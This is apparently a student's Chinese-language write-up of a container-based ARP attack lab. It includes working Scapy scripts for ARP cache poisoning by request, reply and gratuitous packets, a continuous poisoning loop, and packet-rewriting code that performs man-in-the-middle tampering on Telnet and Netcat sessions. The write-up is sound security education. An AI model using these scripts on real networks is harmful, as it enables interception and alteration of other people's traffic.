跳转至

ARP Attack

约 931 个字 101 行代码 25 张图片 预计阅读时间 6 分钟

任务 1:ARP 缓存中毒攻击

任务 1.A(使用 ARP 请求)

在容器 M 中运行 ifconfig 查看 MAC 地址:

同理,获得容器 A 的 MAC 地址:

在容器 M 中编写 Python 代码:

ARP_Request.py
1
2
3
4
5
6
7
8
9
from scapy.all import *

A_IP = "10.9.0.5"
A_MAC = "ea:9c:17:47:e2:9e"
B_IP = "10.9.0.6"
M_MAC = "8e:ff:11:30:f1:57"

pkt = Ether(src = M_MAC, dst = A_MAC) / ARP(op = 1, psrc = B_IP, hwsrc = M_MAC, pdst = A_IP, hwdst = A_MAC)
sendp(pkt)

运行代码,在容器 A 中运行 arp -n 查看 ARP 缓存:

可以看到 B 的 IP 地址被映射到了 M 的 MAC 地址上,攻击成功


任务 1.B(使用 ARP 响应)

  • 情景 1:B 的 IP 地址已经存在于 A 的缓存中

首先,我们在 B 中 ping A 更新 ARP 缓存,此时在 A 上看到:

在容器 M 中编写 Python 代码:

ARP_Response.py
1
2
3
4
5
6
7
8
9
rom scapy.all import *

A_IP = "10.9.0.5"
A_MAC = "ea:9c:17:47:e2:9e"
B_IP = "10.9.0.6"
M_MAC = "8e:ff:11:30:f1:57"

pkt = Ether(src = M_MAC, dst = A_MAC) / ARP(op = 2, psrc = B_IP, hwsrc = M_MAC, pdst = A_IP, hwdst = A_MAC)
sendp(pkt)

运行代码,在容器 A 中运行 arp -n 查看 ARP 缓存:

可以看到缓存仍然被更新,攻击成功

  • 情景 2:B 的 IP 地址不在 A 的缓存中

首先删除 ARP 中关于 B 的记录:

再次在 M 中运行代码,在容器 A 中运行 arp -n 查看 ARP 缓存:

可以看到 B 的 IP 地址不在 A 的缓存中,这说明 ARP 响应只能更新缓存内容,并不能新建缓存内容


任务 1.C(使用 ARP 免费消息)

  • 情景 1:B 的 IP 地址已经存在于 A 的缓存中

和上面的一样,首先,我们在 B 中 ping A 更新 ARP 缓存,并在 M 中编写 Python 代码:

ARP_Gratuitous.py
1
2
3
4
5
6
7
8
from scapy.all import *

B_IP = "10.9.0.6"
M_MAC = "8e:ff:11:30:f1:57"
broadcast = "ff:ff:ff:ff:ff:ff"

pkt = Ether(src = M_MAC, dst = broadcast) / ARP(op = 1, psrc = B_IP, hwsrc = M_MAC, pdst = B_IP, hwdst = broadcast)
sendp(pkt)

运行代码,在容器 A 中运行 arp -n 查看 ARP 缓存:

可以看到缓存仍然被更新,攻击成功

  • 情景 2:B 的 IP 地址不在 A 的缓存中

删除 ARP 中关于 B 的记录后,再次运行代码,并在容器 A 中运行 arp -n 查看 ARP 缓存:

B 的 IP 地址仍然没在 A 的缓存当中


任务 2:使用 ARP 缓存中毒攻击在 Telnet 实施中间人攻击

步骤 1(发起 ARP 缓存中毒攻击)

在容器 M 中对 A 和 B 都进行 ARP 缓存中毒攻击,且设置每 5 秒 1 次:

ARP_Poison.py
from scapy.all import *

A_IP = "10.9.0.5"
A_MAC = "ea:9c:17:47:e2:9e"
B_IP = "10.9.0.6"
B_MAC = "16:4c:eb:48:1a:7d"
M_MAC = "8e:ff:11:30:f1:57"

pktA = Ether(src = M_MAC, dst = A_MAC) / ARP(op = 2, psrc = B_IP, hwsrc = M_MAC, pdst = A_IP, hwdst = A_MAC)
pktB = Ether(src = M_MAC, dst = B_MAC) / ARP(op = 2, psrc = A_IP, hwsrc = M_MAC, pdst = B_IP, hwdst = B_MAC)

while True:
    sendp(pktA, count = 1)
    sendp(pktB, count = 1)
    time.sleep(5)

运行程序,通过 arp -n 查看运行程序前后 A 和 B 的 ARP 缓存变化:

攻击成功


步骤 2(测试)

首先关闭容器 M 的 IP 转发:

再次运行程序,并在主机 A 和 B 之间相互 ping:

可以发现 ping 不通,在宿主机运行 tshark 监听容器网络:

这是因为关闭 IP 转发(即关闭将接收到的数据包从一个网络接口转发到另一个网络接口的功能),当 B ping A 时,数据包到达 M,但因为 M 发现目标 IP 并不是自己的 IP,且未开启 IP 转发,就会将数据包丢弃,B 就自然而然并不会收到来自 A 的数据包


步骤 3(开启 IP 转发)

在容器 M 中开启 IP 转发:

再次运行程序,并在主机 A 和 B 之间相互 ping:

这时候可以 ping 通了


步骤 4(实施中间人攻击)

保持 M 中的 IP 转发,并运行程序,在 A 中建立 Telnet 连接:

关闭 M 中的 IP 转发,在 A 中尝试输入,却发现输入不了任何内容

打开 M 的 IP 转发,先使 A 与 B 建立 Telnet 连接,我们编写 Python 代码:

ARP_Attack.py
from scapy.all import *
import re

IP_A = "10.9.0.5"
MAC_A = "ea:9c:17:47:e2:9e"
IP_B = "10.9.0.6"
MAC_B = "16:4c:eb:48:1a:7d"

def spoof_pkt(pkt):
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)

        if pkt[TCP].payload:
            data = pkt[TCP].payload.load
            data = data.decode()
            newdata = re.sub(r'[a-zA-Z]', r'Z', data)
            print(data + " -> " + newdata)
            send(newpkt / newdata, verbose = False)
        else:
            send(newpkt, verbose = False)
    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        send(newpkt, verbose = False)

f = 'tcp and (ether src ea:9c:17:47:e2:9e or ether src 16:4c:eb:48:1a:7d)'
pkt = sniff(filter = f, prn = spoof_pkt)

关闭 M 的 IP 转发,运行代码,在 A 中输入任何内容都会被替换为 Z:

在 M 中我们也可以看到效果:

这表明我们攻击成功


任务 3:使用 ARP 缓存中毒攻击在 Netcat 实施中间人攻击

打开 M 的 IP 转发,在 A 与 B 中建立 Netcat 连接:

同理,我们修改上面的代码:

ARP_Attack.py
from scapy.all import *

IP_A = "10.9.0.5"
MAC_A = "ea:9c:17:47:e2:9e"
IP_B = "10.9.0.6"
MAC_B = "16:4c:eb:48:1a:7d"

def spoof_pkt(pkt):
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)

        if pkt[TCP].payload:
            data = pkt[TCP].payload.load
            newdata = data.replace(b'Jin', b'AAA')
            print(str(data) + " -> " + str(newdata))
            send(newpkt / newdata, verbose = False)
        else:
            send(newpkt, verbose = False)
    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        send(newpkt, verbose = False)

f = 'tcp and (ether src ea:9c:17:47:e2:9e or ether src 16:4c:eb:48:1a:7d)'
pkt = sniff(filter = f, prn = spoof_pkt)

关闭 M 的 IP 转发,运行代码,在 A 中输入带姓氏 Jin 的部分都回被替换成 AAA

这表明我们攻击成功

评论